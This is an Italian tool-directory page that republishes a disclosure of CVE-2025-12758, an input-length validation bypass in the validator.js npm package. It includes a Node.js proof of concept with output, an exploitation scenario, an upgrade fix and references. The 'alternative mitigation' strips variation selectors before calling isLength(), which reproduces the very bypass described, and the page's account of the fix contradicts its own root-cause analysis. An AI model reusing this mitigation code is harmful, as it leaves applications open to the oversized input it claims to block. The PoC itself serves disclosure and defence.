Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-12758 — Divulgazione dettagliata di CVE-2025-12758 con PoC che dimostra il bypass della variazione Unicode selettore in validator.js isLength(), inclusa l'analisi della causa principale, gli scenari di sfruttamento e le misure di mitigazione. | Kitploit
Strumenti/GitHubGitHub/open-flaw/cve-2025-12758
Analisi delle VulnerabilitàAnalisi del CodiceSicurezza WebPaper e RicercaApprendimento e Formazione
GitHubopen-flaw/cve-2025-12758

CVE-2025-12758

Divulgazione dettagliata di CVE-2025-12758 con PoC che dimostra il bypass della variazione Unicode selettore in validator.js isLength(), inclusa l'analisi della causa principale, gli scenari di sfruttamento e le misure di mitigazione.

Vedi Repository
49 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-12758: Bypass del selettore di variazione Unicode di isLength() di Validator.js

ID CVE: CVE-2025-12758
Punteggio CVSS: 8.7 (ALTO)
Gravità: ALTA
CWE: CWE-792 (Filtraggio incompleto di una o più istanze di elementi speciali)
Pubblicato: 26 novembre 2025
Divulgato: 19 ottobre 2025

Panoramica della vulnerabilità

Questa vulnerabilità interessa le versioni < 13.15.22 del pacchetto npm validator. La funzione isLength() non tiene conto dei selettori di variazione Unicode (\uFE0F, \uFE0E) quando calcola la lunghezza delle stringhe, portando a una convalida dell'input non corretta.

Impatto

Un'applicazione che utilizza isLength() per la convalida dell'input può accettare stringhe significativamente più lunghe del previsto, con possibili conseguenze come:

  • Troncamento dei dati nei database
  • Overflow del buffer in altri componenti di sistema
  • Attacchi denial-of-service (DoS)
  • Bypass della convalida dell'input

Causa principale

La funzione isLength() non filtra correttamente i selettori di variazione Unicode quando calcola la lunghezza delle stringhe. Questi caratteri speciali (segni combinatori) non dovrebbero contribuire alla lunghezza visiva di una stringa, ma vengono conteggiati nella proprietà String.length di JavaScript.

Prova di concetto

Configurazione

npm install [email protected]
node poc.js

Codice

La POC dimostra la vulnerabilità testando la funzione isLength():

const validator = require('validator');

// Normal "test" string - correctly rejected
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false

// Normal "test" string - correctly accepted
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true

// "test" with 4 variation selectors - INCORRECTLY accepted
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!

Output

Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true

La terza riga di output dimostra la vulnerabilità: una stringa con lunghezza effettiva 8 supera un controllo di validazione per una lunghezza massima di 4.

Scenario di sfruttamento

Un'applicazione potrebbe implementare la convalida dei commenti degli utenti:

const MAX_COMMENT_LENGTH = 100;

function validateComment(comment) {
  return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}

const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Actual length: 150 characters
// validator.isLength() incorrectly returns: true ❌
// Database accepts malicious payload ⚠️

Correzione

Aggiornamento alla versione 13.15.22 o successiva

npm install [email protected]

La versione corretta gestisce correttamente i selettori di variazione Unicode escludendoli dal calcolo della lunghezza.

Mitigazione alternativa (temporanea)

Se non puoi aggiornare immediatamente, implementa una validazione personalizzata della lunghezza:

function safeIsLength(str, options = {}) {
  // Remove Unicode variation selectors before validation
  const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
  return validator.isLength(cleanStr, options);
}

Riferimenti

  • Database delle vulnerabilità Snyk: https://security.snyk.io/vuln/SNYK-JS-VALIDATOR-13653476
  • GitHub Gist (Prova originale): https://gist.github.com/koral--/ad31208b25b9e3d1e2e35f1d4d72572e
  • GitHub PR (Correzione): https://github.com/validatorjs/validator.js/pull/2616
  • Scheda CVE: https://www.cve.org/CVERecord?id=CVE-2025-12758

Rilevamento

Verifica se la tua applicazione è vulnerabile:

npm audit --audit-level=high

Cerca il pacchetto validator con versione < 13.15.22.

Crediti

Vulnerabilità scoperta da: Karol Wrótniak

Licenza

ISC

Scarica lo strumento